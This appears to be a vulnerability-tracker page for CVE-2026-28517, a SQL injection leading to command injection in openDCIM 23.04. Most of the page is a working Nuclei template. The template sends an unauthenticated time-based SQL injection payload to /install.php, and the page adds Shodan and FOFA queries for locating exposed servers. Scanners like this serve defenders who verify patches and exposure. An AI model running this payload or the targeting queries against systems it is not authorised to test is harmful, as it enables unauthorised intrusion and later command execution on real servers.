CVE-2026-28517: openDCIM - Unauthenticated SQL Injection to OS Command Injection

2026-11-13 PoC Public

Description

openDCIM version 23.04 contains a command injection caused by unsanitized 'dot' configuration parameter passed to exec() in report_network_map.php, letting attackers execute arbitrary OS commands, exploit requires ability to modify fac_Config.dot value.

Details

CVE
CVE-2026-28517 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-28517

info:
  name: openDCIM - Unauthenticated SQL Injection to OS Command Injection
  author: 0x_Akoko
  severity: critical
  description: |
    openDCIM version 23.04 contains a command injection caused by unsanitized 'dot' configuration parameter passed to exec() in report_network_map.php, letting attackers execute arbitrary OS commands, exploit requires ability to modify fac_Config.dot value.
  impact: |
    Attackers can execute arbitrary OS commands with web server privileges, potentially compromising the entire server.
  remediation: |
    Update to the latest version with proper input validation and sanitization for the 'dot' parameter.
  reference:
    - https://www.vulncheck.com/advisories/opendcim-os-command-injection-via-dot-configuration-parameter
    - https://www.vulncheck.com/advisories/opendcim-sql-injection-in-config-updateparameter
    - https://www.vulncheck.com/advisories/opendcim-missing-authorization-in-install-php
    - https://chocapikk.com/posts/2026/opendcim-sqli-to-rce/
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/opendcim_install_sqli_rce.rb
  classification:
    cve-id: CVE-2026-28517
  metadata:
    verified: true
    max-request: 2
    vendor: opendcim
    product: opendcim
    shodan-query: http.html:"openDCIM"
    fofa-query: body="openDCIM"
  tags: cve,cve2026,opendcim,sqli,rce,injection,unauth,intrusive,vkev,kev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(body), "opendcim")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /install.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        ldapaction=Set&LDAPServer=%22+WHERE+1%3D0%3B+SELECT+IF((SELECT+COUNT(*)+FROM+fac_Config)%3E0%2CSLEEP(6)%2C0)%3B+--+

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 302 || status_code == 200'
        condition: and
# digest: 4b0a004830460221008e6145c510e63c4113cc75262ad91ae8e5b8306551e6b583865f4823e519334c022100bd91eb91036f278b6e5bb6e9f580cf7a441e80dbfa684731834070eca3355558:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life